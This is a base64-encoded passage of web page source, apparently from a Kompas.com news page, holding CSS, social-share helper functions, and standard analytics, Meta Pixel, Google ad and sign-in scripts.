cGFzY29tIiwKICAgICJodHRwczovL2xpbmUubWUvdGkvcC8lNDBrb21wYXMuY29tIgogIF0KfQo8L3NjcmlwdD4KPHN0eWxlPgoubi1jb2x1bW5zLTIgewogICAgZGlzcGxheTogZ3JpZDsKICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogcmVwZWF0KDIsMWZyKTsKICAgIGZvbnQtd2VpZ2h0OiA3MDA7CiAgICB9CiAgICAubi1jb2x1bW5zLTIgYSB7CiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICB9CiAgICAubG9naW4sIC5yZWdpc3RlciB7CiAgICBjb2xvcjogI2ZmZjsKICAgIHBhZGRpbmc6IDEzcHggMTBweDsKICAgIH0KICAgIC5sb2dpbiwgLmxvZ2luLWJ1dHRvbiB7CiAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjMDAwMDAwIDAlLCAjMDAwMDAwIDEwMCUpOwogICAgYm9yZGVyOiAycHggc29saWQgI2ZmZjsKICAgIGJveC1zaGFkb3c6IDBweCAwcHggM3B4ICNmZmY7CiAgICB9CiAgICAucmVnaXN0ZXIsIC5yZWdpc3Rlci1idXR0b24gewogICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSwgIzAwMDAwMCAwJSwgIzAwMDAwMCAxMDAlKTsKICAgIGJvcmRlcjogMnB4IHNvbGlkICNmZmY7CiAgICBib3gtc2hhZG93OiAwcHggMHB4IDNweCAjZmZmOwogICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zdHlsZT4KCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ci8qIEF2b2lkIGVtcHR5IGltYWdlcyB0byBhcHBlYXIgYXMgYnJva2VuICovIAppbWc6bm90KFtzcmNdKTpub3QoW3NyY3NldF0pIHsKICB2aXNpYmlsaXR5OiBoaWRkZW47Cn0KLyogRml4IGZvciBpbWFnZXMgdG8gbmV2ZXIgZXhjZWVkIHRoZSB3aWR0aCBvZiB0aGUgY29udGFpbmVyICovCmltZyB7CiAgbWF4LXdpZHRoOiAxMDAlOwp9Cjwvc3R5bGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gZmJfc2hhcmUoZSxvKXtyZXR1cm4gdT1vLHQ9ZSx3aW5kb3cub3BlbigiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vc2hhcmVyLnBocD91PSIrZW5jb2RlVVJJQ29tcG9uZW50KHUpKyImdD0iK2VuY29kZVVSSUNvbXBvbmVudCh0KSwic2hhcmVyIiwidG9vbGJhcj0wLHN0YXR1cz0wLHdpZHRoPTYyNixoZWlnaHQ9NDM2IiksITF9ZnVuY3Rpb24gdHdlZXRfc2hhcmUodCx4PScnKXtyZXR1cm4gdT10LHdpbmRvdy5vcGVuKCJodHRwczovL3R3aXR0ZXIuY29tL2ludGVudC90d2VldD90ZXh0PSIrZW5jb2RlVVJJQ29tcG9uZW50KHUpKyImdXJsPSIrZW5jb2RlVVJJQ29tcG9uZW50KHgpLCJzaGFyZXIiLCJ0b29sYmFyPTAsc3RhdHVzPTAsd2lkdGg9NjI2LGhlaWdodD00MzYiKSwhMX1mdW5jdGlvbiBwbHVzX3NoYXJlKHQpe3JldHVybiB1PXQsd2luZG93Lm9wZW4oImh0dHBzOi8vcGx1cy5nb29nbGUuY29tL3NoYXJlP3VybD0iK2VuY29kZVVSSUNvbXBvbmVudCh1KSwic2hhcmVyIiwidG9vbGJhcj0wLHN0YXR1cz0wLHdpZHRoPTYyNixoZWlnaHQ9NDM2IiksITF9ZnVuY3Rpb24gdGVsZWdyYW1fc2hhcmUoZSxvLHgpe3JldHVybiB1PW8sdD1lLHdpbmRvdy5vcGVuKCJodHRwczovL3QubWUvc2hhcmUvdXJsP3VybD0iK2VuY29kZVVSSUNvbXBvbmVudCh1KSsiJnRleHQ9IitlbmNvZGVVUklDb21wb25lbnQodCkreCwic2hhcmVyIiwidG9vbGJhcj0wLHN0YXR1cz0wLHdpZHRoPTYyNixoZWlnaHQ9NDM2IiksITF9ZnVuY3Rpb24gd2hhdHNhcHBfc2hhcmUoZSxvKXtyZXR1cm4gdT1vLHQ9ZSx3aW5kb3cub3BlbigiaHR0cHM6Ly93YS5tZS8/dGV4dD0iK2VuY29kZVVSSUNvbXBvbmVudCh1KSsiIC0gIitlbmNvZGVVUklDb21wb25lbnQodCksInNoYXJlciIsInRvb2xiYXI9MCxzdGF0dXM9MCx3aWR0aD02MjYsaGVpZ2h0PTQzNiIpLCExfWZ1bmN0aW9uIHdoYXRzYXBwX3NoYXJlX25ldyhlLG8pe3JldHVybiB1PW8sdD1lLHdpbmRvdy5vcGVuKCJodHRwczovL3dhLm1lLz90ZXh0PSIrZW5jb2RlVVJJQ29tcG9uZW50KHQpK2VuY29kZVVSSUNvbXBvbmVudCh1KSwic2hhcmVyIiwidG9vbGJhcj0wLHN0YXR1cz0wLHdpZHRoPTYyNixoZWlnaHQ9NDM2IiksITF9Cjwvc2NyaXB0PgoKCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignRE9NQ29udGVudExvYWRlZCcsIGZ1bmN0aW9uKCkgewogICAgdmFyIGFkZGVidWcgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuZm9vdGVyQ29weXJpZ2h0Jyk7CiAgICBmb3IgKGkgPSAwOyBpIDwgYWRkZWJ1Zy5sZW5ndGg7ICsraSkgewogICAgICAgIGFkZGVidWdbaV0uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBmdW5jdGlvbiBoYW5kbGVDbGljaygpIHsKICAgICAgICAgICAgY29uc29sZS5sb2coJ0RlYnVnZ2VkJyk7CiAgICAgICAgICAgIGdvb2dsZXRhZy5vcGVuQ29uc29sZSgpOwogICAgICAgIH0pOwogICAgfQp9KTsKPC9zY3JpcHQ+CgogIDxzY3JpcHQgYXN5bmM9IiIgc3JjPSJodHRwczovL2Nkbi5vdmFsLmlkL3RyYWNrZXIvcC9rb21wYXMvb3ZhbF93ZWJfYW5hbHl0aWNzX2xhdGVzdC5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KICA8IS0tIDxzY3JpcHQgYXN5bmMgc3JjPSJodHRwczovL2Nkbi5vdmFsLmlkL3RyYWNrZXIvcC9rb21wYXNyZWNvL292YWxfd2ViX2FuYWx5dGljc19sYXRlc3QuanMgIj48L3NjcmlwdD4gLS0+Cgo8IS0tIE1ldGEgUGl4ZWwgQ29kZSAtLT4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgohZnVuY3Rpb24oZixiLGUsdixuLHQscykKe2lmKGYuZmJxKXJldHVybjtuPWYuZmJxPWZ1bmN0aW9uKCl7bi5jYWxsTWV0aG9kPwpuLmNhbGxNZXRob2QuYXBwbHkobixhcmd1bWVudHMpOm4ucXVldWUucHVzaChhcmd1bWVudHMpfTsKaWYoIWYuX2ZicSlmLl9mYnE9bjtuLnB1c2g9bjtuLmxvYWRlZD0hMDtuLnZlcnNpb249JzIuMCc7Cm4ucXVldWU9W107dD1iLmNyZWF0ZUVsZW1lbnQoZSk7dC5hc3luYz0hMDsKdC5zcmM9djtzPWIuZ2V0RWxlbWVudHNCeVRhZ05hbWUoZSlbMF07CnMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUodCxzKX0od2luZG93LCBkb2N1bWVudCwnc2NyaXB0JywKJ2h0dHBzOi8vY29ubmVjdC5mYWNlYm9vay5uZXQvZW5fVVMvZmJldmVudHMuanMnKTsKZmJxKCdpbml0JywgJzQyMzA2MzIwNzM2MjQwMScpOwpmYnEoJ3RyYWNrJywgJ1BhZ2VWaWV3Jyk7Cjwvc2NyaXB0Pgo8bm9zY3JpcHQ+PGltZyBoZWlnaHQ9IjEiIHdpZHRoPSIxIiBzdHlsZT0iZGlzcGxheTpub25lIgpzcmM9Imh0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS90cj9pZD00MjMwNjMyMDczNjI0MDEmZXY9UGFnZVZpZXcmbm9zY3JpcHQ9MSIKLz48L25vc2NyaXB0Pgo8IS0tIEVuZCBNZXRhIFBpeGVsIENvZGUgLS0+CiAgICAKICAgIAogICAgCiAgICAKICAgICAgICAKICAgICAKCiAgICAKICAgIAogICAgICAgIAogICAgCiAgICA8c2NyaXB0IGFzeW5jPSIiIHNyYz0iaHR0cHM6Ly9mdW5kaW5nY2hvaWNlc21lc3NhZ2VzLmdvb2dsZS5jb20vZi9BR1NLV3hXcFBWV2Mwd09hQmRPZ2VTanNyQk5FeHVrdXp5TlBDdFVNTVRGN3U2UThSSkhPcDl5UkpfZThnVk80Y1R5UzV6X0JoLWZuRXJYa1hkUFRneWdjT2ZnV2F5RDMzVGI2WWljM1lsQXNZaVpUWE4yRFMxMTAwdmRMdDEtcFA0b253c0NFWlQ3eDd3PT0/ZmNjcz1XMjUxYkd3c2JuVnNiQ3h1ZFd4c0xHNTFiR3dzYm5Wc2JDeHVkV3hzTEZzeE56WXdOelExTmpBd0xEVTNNREF3TURBd1hTeHVkV3hzTEc1MWJHd3NiblZzYkN4YmJuVnNiQ3hiTjExZExDSm9kSFJ3Y3pvdkwzZDNkeTV6ZDJWbGRHeHBabVZqYjI5cmFXVnpZVzVrWTI5dVptVmpkR2x2Ym5NdVkyOXRMM05vYjNBaUxHNTFiR3dzVzFzNExDSmtVM0JTUVVsb1ltaDNUU0pkTEZzNUxDSmxiaTFWVXlKZExGc3lOaXdpTlNKZExGc3hPU3dpTWlKZExGc3hOeXdpV3pCZElsMHNXekkwTENJaVhTeGJNalVzSWx0Yk16RXdPREl5TlRSZFhTSmRMRnN5T1N3aVptRnNjMlVpWFYxZCIgbm9uY2U9IklPdm14QWFzb2xCS3dCX3F6YUpWTWciPjwvc2NyaXB0PjxtZXRhIGh0dHAtZXF1aXY9Im9yaWdpbi10cmlhbCIgY29udGVudD0iQWxLMlVSNVNrQWxqOGpqZEVjOXAzRjN4dUZZbEY2TFlqQU1MM0VPcXcxZzI2ZUN3V1BqZG1lY1VMdkJINU1WUG9xS1lyT2ZQaFlWTDcxeEFYSTFJQlFvQUFBQjhleUp2Y21sbmFXNGlPaUpvZEhSd2N6b3ZMMlJ2ZFdKc1pXTnNhV05yTG01bGREbzBORE1pTENKbVpXRjBkWEpsSWpvaVYyVmlWbWxsZDFoU1pYRjFaWE4wWldSWGFYUm9SR1Z3Y21WallYUnBiMjRpTENKbGVIQnBjbmtpT2pFM05UZ3dOamN4T1Rrc0ltbHpVM1ZpWkc5dFlXbHVJanAwY25WbGZRPT0iIC8+PG1ldGEgaHR0cC1lcXVpdj0ib3JpZ2luLXRyaWFsIiBjb250ZW50PSJBbW04L05tdnZRZmh3Q2liNkk3WnNtVXhpU0NmT3hXeEhheUp3eVUxcjNnUklJdHpyN2JOUWlkNk84WllhRTFHU1FUYTY5V3doUEM5ZmxxL29Za1JCd3NBQUFDQ2V5SnZjbWxuYVc0aU9pSm9kSFJ3Y3pvdkwyZHZiMmRzWlhONWJtUnBZMkYwYVc5dUxtTnZiVG8wTkRNaUxDSm1aV0YwZFhKbElqb2lWMlZpVm1sbGQxaFNaWEYxWlhOMFpXUlhhWFJvUkdWd2NtVmpZWFJwYjI0aUxDSmxlSEJwY25raU9qRTNOVGd3TmpjeE9Ua3NJbWx6VTNWaVpHOXRZV2x1SWpwMGNuVmxmUT09IiAvPjxtZXRhIGh0dHAtZXF1aXY9Im9yaWdpbi10cmlhbCIgY29udGVudD0iQTlucnVuS2RVNW05NlBTTjFYc1NHcjNxT1AwbHZQRlVCMkFpQXlsQ0RsTjVEVGwxN3VERmtwUXVIajFBRnRnV0x4cExhaUJadWhydGIyV091N29mSHdFQUFBQ0tleUp2Y21sbmFXNGlPaUpvZEhSd2N6b3ZMMlJ2ZFdKc1pXTnNhV05yTG01bGREbzBORE1pTENKbVpXRjBkWEpsSWpvaVFVbFFjbTl0Y0hSQlVFbE5kV3gwYVcxdlpHRnNTVzV3ZFhRaUxDSmxlSEJwY25raU9qRTNOelF6TVRBME1EQXNJbWx6VTNWaVpHOXRZV2x1SWpwMGNuVmxMQ0pwYzFSb2FYSmtVR0Z5ZEhraU9uUnlkV1Y5IiAvPjxtZXRhIGh0dHAtZXF1aXY9Im9yaWdpbi10cmlhbCIgY29udGVudD0iQTkzYm92UitRVlhOeDIvMzhxRGJtZVlZZjF3ZHRlOUVPMzdLOWVNcTNyKzU0MXFvMGJ5aFlVODk5QmhQQjdDdjlRcUQ3d0liUjFCNk9BYzlrRWZZQ0E0QUFBQ1FleUp2Y21sbmFXNGlPaUpvZEhSd2N6b3ZMMmR2YjJkc1pYTjVibVJwWTJGMGFXOXVMbU52YlRvME5ETWlMQ0ptWldGMGRYSmxJam9pUVVsUWNtOXRjSFJCVUVsTmRXeDBhVzF2WkdGc1NXNXdkWFFpTENKbGVIQnBjbmtpT2pFM056UXpNVEEwTURBc0ltbHpVM1ZpWkc5dFlXbHVJanAwY25WbExDSnBjMVJvYVhKa1VHRnlkSGtpT25SeWRXVjkiIC8+PG1ldGEgaHR0cC1lcXVpdj0ib3JpZ2luLXRyaWFsIiBjb250ZW50PSJBMVM1Zm9qckF1blNEckZiRDhPZkdtRkhkUkZaeW1TTS8xc3MzRytORXR0Q0xmSGtYdmxjRjZMR0xIOE1vNVBha0xPMXNDQVNYVTEvZ1FmNlhHdVRCZ3dBQUFDUWV5SnZjbWxuYVc0aU9pSm9kSFJ3Y3pvdkwyZHZiMmRzWlhSaFozTmxjblpwWTJWekxtTnZiVG8wTkRNaUxDSm1aV0YwZFhKbElqb2lRVWxRY205dGNIUkJVRWxOZFd4MGFXMXZaR0ZzU1c1d2RYUWlMQ0psZUhCcGNua2lPakUzTnpRek1UQTBNREFzSW1selUzVmlaRzl0WVdsdUlqcDBjblZsTENKcGMxUm9hWEprVUdGeWRIa2lPblJ5ZFdWOSIgLz48c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZWN1cmVwdWJhZHMuZy5kb3VibGVjbGljay5uZXQvcGFnZWFkL21hbmFnZWQvanMvZ3B0L20yMDI1MTAxNDAxMDEvcHViYWRzX2ltcGwuanM/Y2I9MzEwOTUyNjgiIG5vbmNlPSJJT3ZteEFhc29sQkt3Ql9xemFKVk1nIiBhc3luYz0iIj48L3NjcmlwdD48bGluayBocmVmPSJodHRwczovL3NlY3VyZXB1YmFkcy5nLmRvdWJsZWNsaWNrLm5ldC9wYWdlYWQvbWFuYWdlZC9kaWN0L20yMDI1MTAxNDAxMDEvZ3B0IiByZWw9ImNvbXByZXNzaW9uLWRpY3Rpb25hcnkiIC8+PHNjcmlwdCBzcmM9Imh0dHBzOi8vYWNjb3VudHMuZ29vZ2xlLmNvbS9nc2kvY2xpZW50IiBkZWZlciBhc3luYz0iIj48L3NjcmlwdD48c3R5bGUgaWQ9Imdvb2dsZWlkZW50aXR5c2VydmljZV9idXR0b25fc3R5bGVzIj4ucUpUSE17LXdlYmtpdC11c2VyLXNlbGVjdDpub25lO2NvbG9yOiMyMDIxMjQ7ZGlyZWN0aW9uOmx0cjstd2Via2l0LXRvdWNoLWNhbGxvdXQ6bm9uZTtmb250LWZhbWlseToiUm9ib3RvLVJlZ3VsYXIiLGFyaWFsLHNhbnMtc2VyaWY7LXdlYmtpdC1mb250LXNtb290aGluZzphbnRpYWxpYXNlZDtmb250LXdlaWdodDo0MDA7bWFyZ2luOjA7b3ZlcmZsb3c6aGlkZGVuOy13ZWJraXQtdGV4dC1zaXplLWFkanVzdDoxMDAlfS55blJMbmN7bGVmdDotOTk5OXB4O3Bvc2l0aW9uOmFic29sdXRlO3RvcDotOTk5OXB4fS5MNmNUY2V7ZGlzcGxheTpub25lfS5ibHRXQmJ7b3ZlcmZsb3ctd3JhcDpicmVhay13b3JkO3dvcmQtYnJlYWs6YnJlYWstd29yZH0uaFNSR1Bke2NvbG9yOiMxYTczZTg7Y3Vyc29yOnBvaW50ZXI7Zm9udC13ZWlnaHQ6NTAwO3RleHQtZGVjb3JhdGlvbjpub25lfS5CejExMmMtVzNsR3B7aGVpZ2h0OjE2cHg7d2lkdGg6MTZweH0uQnoxMTJjLUUzRHlZZHtoZWlnaHQ6MjBweDt3aWR0aDoyMHB4fS5CejExMmMtcjlvUGlme2hlaWdodDoyNHB4O3dpZHRoOjI0cHh9LkJ6MTEyYy11Mno1S3toZWlnaHQ6MzZweDt3aWR0aDozNnB4fS5CejExMmMtdWF4TDRley13ZWJraXQtYm9yZGVyLXJhZGl1czoxMHB4O2JvcmRlci1yYWRpdXM6MTBweH0uTGdic1NlLUJ6MTEyY3tkaXNwbGF5OmJsb2NrfS5TOWdVcmYtWW9aNGpmLC5TOWdVcmYtWW9aNGpmICp7Ym9yZGVyOm5vbmU7bWFyZ2luOjA7cGFkZGluZzowfS5mRlc3d2MtaWJuQzZiPi5hWjJ3RWU+ZGl2e2JvcmRlci1jb2xvcjojNDI4NWY0fS5QMWVrU2UtWk12M3V7LXdlYmtpdC10cmFuc2l0aW9uOmhlaWdodCBsaW5lYXIgMjAwbXM7LXdlYmtpdC10cmFuc2l0aW9uOmhlaWdodCBsaW5lYXIgMjAwbXM7dHJhbnNpdGlvbjpoZWlnaHQgbGluZWFyIDIwMG1zfS5QMWVrU2UtWk12M3U+ZGl2Om50aC1jaGlsZCgxKXtiYWNrZ3JvdW5kLWNvbG9yOiMxYTczZTghaW1wb3J0YW50Oy13ZWJraXQtdHJhbnNpdGlvbjp3aWR0aCBsaW5lYXIgMzAwbXM7LXdlYmtpdC10cmFuc2l0aW9uOndpZHRoIGxpbmVhciAzMDBtczt0cmFuc2l0aW9uOndpZHRoIGxpbmVhciAzMDBtc30uUDFla1NlLVpNdjN1PmRpdjpudGgtY2hpbGQoMiksLlAxZWtTZS1aTXYzdT5kaXY6bnRoLWNoaWxkKDMpe2JhY2tncm91bmQtaW1hZ2U6bGluZWFyLWdyYWRpZW50KHRvIHJpZ2h0LHJnYmEoMjU1LDI1NSwyNTUsLjcpLHJnYmEoMjU1LDI1NSwyNTUsLjcpKSxsaW5lYXItZ3JhZGllbnQodG8gcmlnaHQsIzFhNzNlOCwjMWE3M2U4KSFpbXBvcnRhbnR9LmhhQWNsZntkaXNwbGF5OmlubGluZS1ibG9ja30ubnNtN0JiLUh6VjdtLUxnYnNTZXtib3JkZXItcmFkaXVzOjRweDtib3gtc2l6aW5nOmJvcmRlci1ib3g7LXdlYmtpdC10cmFuc2l0aW9uOmJhY2tncm91bmQtY29sb3IgLjIxOHMsYm9yZGVyLWNvbG9yIC4yMThzO3RyYW5zaXRpb246YmFja2dyb3VuZC1jb2xvciAuMjE4cyxib3JkZXItY29sb3IgLjIxOHM7LW1vei11c2VyLXNlbGVjdDpub25lOy13ZWJraXQtdXNlci1zZWxlY3Q6bm9uZTstbXMtdXNlci1zZWxlY3Q6bm9uZTstd2Via2l0LWFwcGVhcmFuY2U6bm9uZTtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7YmFja2dyb3VuZC1pbWFnZTpub25lO2JvcmRlcjoxcHggc29saWQgI2RhZGNlMDtjb2xvcjojM2M0MDQzO2N1cnNvcjpwb2ludGVyO2ZvbnQtZmFtaWx5OiJHb29nbGUgU2FucyIsYXJpYWwsc2Fucy1zZXJpZjtmb250LXNpemU6MTRweDtoZWlnaHQ6NDBweDtsZXR0ZXItc3BhY2luZzouMjVweDtvdXRsaW5lOm5vbmU7b3ZlcmZsb3c6aGlkZGVuO3BhZGRpbmc6MCAxMnB4O3Bvc2l0aW9uOnJlbGF0aXZlO3RleHQtYWxpZ246Y2VudGVyO3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt3aGl0ZS1zcGFjZTpub3dyYXA7d2lkdGg6YXV0b31AbWVkaWEgc2NyZWVuIGFuZCAoLW1zLWhpZ2gtY29udHJhc3Q6YWN0aXZlKXsubnNtN0JiLUh6VjdtLUxnYnNTZXtib3JkZXI6MnB4IHNvbGlkIHdpbmRvd1RleHQ7Y29sb3I6d2luZG93VGV4dH19QG1lZGlhIHNjcmVlbiBhbmQgKHByZWZlcmVzLWNvbnRyYXN0Om1vcmUpey5uc203QmItSHpWN20tTGdic1Nle2NvbG9yOiMwMDB9fS5uc203QmItSHpWN20tTGdic1NlLnBTek9QLVN4UXVTZXtmb250LXNpemU6MTRweDtoZWlnaHQ6MzJweDtsZXR0ZXItc3BhY2luZzouMjVweDtwYWRkaW5nOjAgMTBweH0ubnNtN0JiLUh6VjdtLUxnYnNTZS5wdXJaVC1TeFF1U2V7Zm9udC1zaXplOjExcHg7aGVpZ2h0OjIwcHg7bGV0dGVyLXNwYWNpbmc6LjNweDtwYWRkaW5nOjAgOHB4fS5uc203QmItSHpWN20tTGdic1NlLkJ6MTEyYy1MZ2JzU2V7cGFkZGluZzowO3dpZHRoOjQwcHh9Lm5zbTdCYi1IelY3bS1MZ2JzU2UuQnoxMTJjLUxnYnNTZS5wU3pPUC1TeFF1U2V7d2lkdGg6MzJweH0ubnNtN0JiLUh6VjdtLUxnYnNTZS5CejExMmMtTGdic1NlLnB1clpULVN4UXVTZXt3aWR0aDoyMHB4fS5uc203QmItSHpWN20tTGdic1NlLkpHY3BMLVJiUnpLe2JvcmRlci1yYWRpdXM6MjBweH0ubnNtN0JiLUh6VjdtLUxnYnNTZS5KR2NwTC1SYlJ6Sy5wU3pPUC1TeFF1U2V7Ym9yZGVyLXJhZGl1czoxNnB4fS5uc203QmItSHpWN20tTGdic1NlLkpHY3BMLVJiUnpLLnB1clpULVN4UXVTZXtib3JkZXItcmFkaXVzOjEwcHh9Lm5zbTdCYi1IelY3bS1MZ2JzU2UuTUZTNGJlLUlhN1FmY3tib3JkZXI6bm9uZTtjb2xvcjojZmZmfS5uc203QmItSHpWN20tTGdic1NlLk1GUzRiZS12M3BaYmYtSWE3UWZje2JhY2tncm91bmQtY29sb3I6IzFhNzNlOH0ubnNtN0JiLUh6VjdtLUxnYnNTZS5NRlM0YmUtSmFQVjJiLUlhN1FmY3tiYWNrZ3JvdW5kLWNvbG9yOiMyMDIxMjQ7Y29sb3I6I2U4ZWFlZH1AbWVkaWEgc2NyZWVuIGFuZCAocHJlZmVycy1jb250cmFzdDptb3JlKXsubnNtN0JiLUh6VjdtLUxnYnNTZS5NRlM0YmUtSmFQVjJiLUlhN1FmY3tjb2xvcjojZmZmfX0ubnNtN0JiLUh6VjdtLUxnYnNTZSAubnNtN0JiLUh6VjdtLUxnYnNTZS1CejExMmN7aGVpZ2h0OjE4cHg7bWFyZ2luLXJpZ2h0OjhweDttaW4td2lkdGg6MThweDt3aWR0aDoxOHB4fS5uc203QmItSHpWN20tTGdic1NlLnBTek9QLVN4UXVTZSAubnNtN0JiLUh6VjdtLUxnYnNTZS1CejExMmN7aGVpZ2h0OjE0cHg7bWluLXdpZHRoOjE0cHg7d2lkdGg6MTRweH0ubnNtN0JiLUh6VjdtLUxnYnNTZS5wdXJaVC1TeFF1U2UgLm5zbTdCYi1IelY3bS1MZ2JzU2UtQnoxMTJje2hlaWdodDoxMHB4O21pbi13aWR0aDoxMHB4O3dpZHRoOjEwcHh9Lm5zbTdCYi1IelY3bS1MZ2JzU2UualZlU0VlIC5uc203QmItSHpWN20tTGdic1NlLUJ6MTEyY3ttYXJnaW4tbGVmdDo4cHg7bWFyZ2luLXJpZ2h0Oi00cHh9Lm5zbTdCYi1IelY3bS1MZ2JzU2UuQnoxMTJjLUxnYnNTZSAubnNtN0JiLUh6VjdtLUxnYnNTZS1CejExMmN7bWFyZ2luOjA7cGFkZGluZzoxMHB4fS5uc203QmItSHpWN20tTGdic1NlLkJ6MTEyYy1MZ2JzU2UucFN6T1AtU3hRdVNlIC5uc203QmItSHpWN20tTGdic1NlLUJ6MTEyY3twYWRkaW5nOjhweH0ubnNtN0JiLUh6VjdtLUxnYnNTZS5CejExMmMtTGdic1NlLnB1clpULVN4UXVTZSAubnNtN0JiLUh6VjdtLUxnYnNTZS1CejExMmN7cGFkZGluZzo0cHh9Lm5zbTdCYi1IelY3bS1MZ2JzU2UgLm5zbTdCYi1IelY3bS1MZ2JzU2UtQnoxMTJjLWhhQWNsZntib3JkZXItdG9wLWxlZnQtcmFkaXVzOjNweDtib3JkZXItYm90dG9tLWxlZnQtcmFkaXVzOjNweDtkaXNwbGF5Oi13ZWJraXQtYm94O2Rpc3BsYXk6LXdlYmtpdC1mbGV4O2Rpc3BsYXk6ZmxleDstd2Via2l0LWJveC1wYWNrOmNlbnRlcjstd2Via2l0LWp1c3RpZnktY29udGVudDpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcjstd2Via2l0LWJveC1hbGlnbjpjZW50ZXI7LXdlYmtpdC1hbGlnbi1pdGVtczpjZW50ZXI7YWxpZ24taXRlbXM6Y2VudGVyO2JhY2tncm91bmQtY29sb3I6I2ZmZjtoZWlnaHQ6MzZweDttYXJnaW4tbGVmdDotMTBweDttYXJnaW4tcmlnaHQ6MTJweDttaW4td2lkdGg6MzZweDt3aWR0aDozNnB4fS5uc203QmItSHpWN20tTGdic1NlIC5uc203QmItSHpWN20tTGdic1NlLUJ6MTEyYy1oYUFjbGYgLm5zbTdCYi1IelY3bS1MZ2JzU2UtQnoxMTJjLC5uc203QmItSHpWN20tTGdic1NlLkJ6MTEyYy1MZ2JzU2UgLm5zbTdCYi1IelY3bS1MZ2JzU2UtQnoxMTJjLWhhQWNsZiAubnNtN0JiLUh6VjdtLUxnYnNTZS1CejExMmN7bWFyZ2luOjA7cGFkZGluZzowfS5uc203QmItSHpWN20tTGdic1NlLnBTek9QLVN4UXVTZSAubnNtN0JiLUh6VjdtLUxnYnNTZS1CejExMmMtaGFBY2xme2hlaWdodDoyOHB4O21hcmdpbi1sZWZ0Oi04cHg7bWFyZ2luLXJpZ2h0OjEwcHg7bWluLXdpZHRoOjI4cHg7d2lkdGg6MjhweH0ubnNtN0JiLUh6VjdtLUxnYnNTZS5wdXJaVC1TeFF1U2UgLm5zbTdCYi1IelY3bS1MZ2JzU2UtQnoxMTJjLWhhQWNsZntoZWlnaHQ6MTZweDttYXJnaW4tbGVmdDotNnB4O21hcmdpbi1yaWdodDo4cHg7bWluLXdpZHRoOjE2cHg7d2lkdGg6MTZweH0ubnNtN0JiLUh6VjdtLUxnYnNTZS5CejExMmMtTGdic1NlIC5uc203QmItSHpWN20tTGdic1NlLUJ6MTEyYy1oYUFjbGZ7Ym9yZGVyLXJhZGl1czozcHg7bWFyZ2luLWxlZnQ6MnB4O21hcmdpbi1yaWdodDowO3BhZGRpbmc6MH0ubnNtN0JiLUh6VjdtLUxnYnNTZS5KR2NwTC1SYlJ6SyAubnNtN0JiLUh6VjdtLUxnYnNTZS1CejExMmMtaGFBY2xme2JvcmRlci1yYWRpdXM6MThweH0ubnNtN0JiLUh6VjdtLUxnYnNTZS5wU3pPUC1TeFF1U2UuSkdjcEwtUmJSeksgLm5zbTdCYi1IelY3bS1MZ2JzU2UtQnoxMTJjLWhhQWNsZntib3JkZXItcmFkaXVzOjE0cHh9Lm5zbTdCYi1IelY3bS1MZ2JzU2UucHVyWlQtU3hRdVNlLkpHY3BMLVJiUnpLIC5uc203QmItSHpWN20tTGdic1NlLUJ6MTEyYy1oYUFjbGZ7Ym9yZGVyLXJhZGl1czo4cHh9Lm5zbTdCYi1IelY3bS1MZ2JzU2UgLm5zbTdCYi1IelY3bS1MZ2JzU2UtYk45N1BjLXNNNU1OYntkaXNwbGF5Oi13ZWJraXQtYm94O2Rpc3BsYXk6LXdlYmtpdC1mbGV4O2Rpc3BsYXk6ZmxleDstd2Via2l0LWFsaWduLWl0ZW1zOmNlbnRlcjstd2Via2l0LWJveC1hbGlnbjpjZW50ZXI7YWxpZ24taXRlbXM6Y2VudGVyOy13ZWJraXQtZmxleC1kaXJlY3Rpb246cm93Oy13ZWJraXQtYm94LW9yaWVudDpob3Jpem9udGFsOy13ZWJraXQtYm94LWRpcmVjdGlvbjpub3JtYWw7ZmxleC1kaXJlY3Rpb246cm93Oy13ZWJraXQtYm94LXBhY2s6anVzdGlmeTstd2Via2l0LWp1c3RpZnktY29udGVudDpzcGFjZS1iZXR3ZWVuO2p1c3RpZnktY29udGVudDpzcGFjZS1iZXR3ZWVuOy13ZWJraXQtZmxleC13cmFwOm5vd3JhcDtmbGV4LXdyYXA6bm93cmFwO2hlaWdodDoxMDAlO3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjEwMCV9Lm5zbTdCYi1IelY3bS1MZ2JzU2UgLm9YdGZCZS1sNGVIWHstd2Via2l0LWJveC1wYWNrOmNlbnRlcjstd2Via2l0LWp1c3RpZnktY29udGVudDpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcn0ubnNtN0JiLUh6VjdtLUxnYnNTZSAubnNtN0JiLUh6VjdtLUxnYnNTZS1CUHJXSWR7LXdlYmtpdC1mbGV4LWdyb3c6MTstd2Via2l0LWJveC1mbGV4OjE7ZmxleC1ncm93OjE7Zm9udC1mYW1pbHk6Ikdvb2dsZSBTYW5zIixhcmlhbCxzYW5zLXNlcmlmO2ZvbnQtd2VpZ2h0OjUwMDtvdmVyZmxvdzpoaWRkZW47dGV4dC1vdmVyZmxvdzplbGxpcHNpczt2ZXJ0aWNhbC1hbGlnbjp0b3B9Lm5zbTdCYi1IelY3bS1MZ2JzU2UucHVyWlQtU3hRdVNlIC5uc203QmItSHpWN20tTGdic1NlLUJQcldJZHtmb250LXdlaWdodDozMDB9Lm5zbTdCYi1IelY3bS1MZ2JzU2U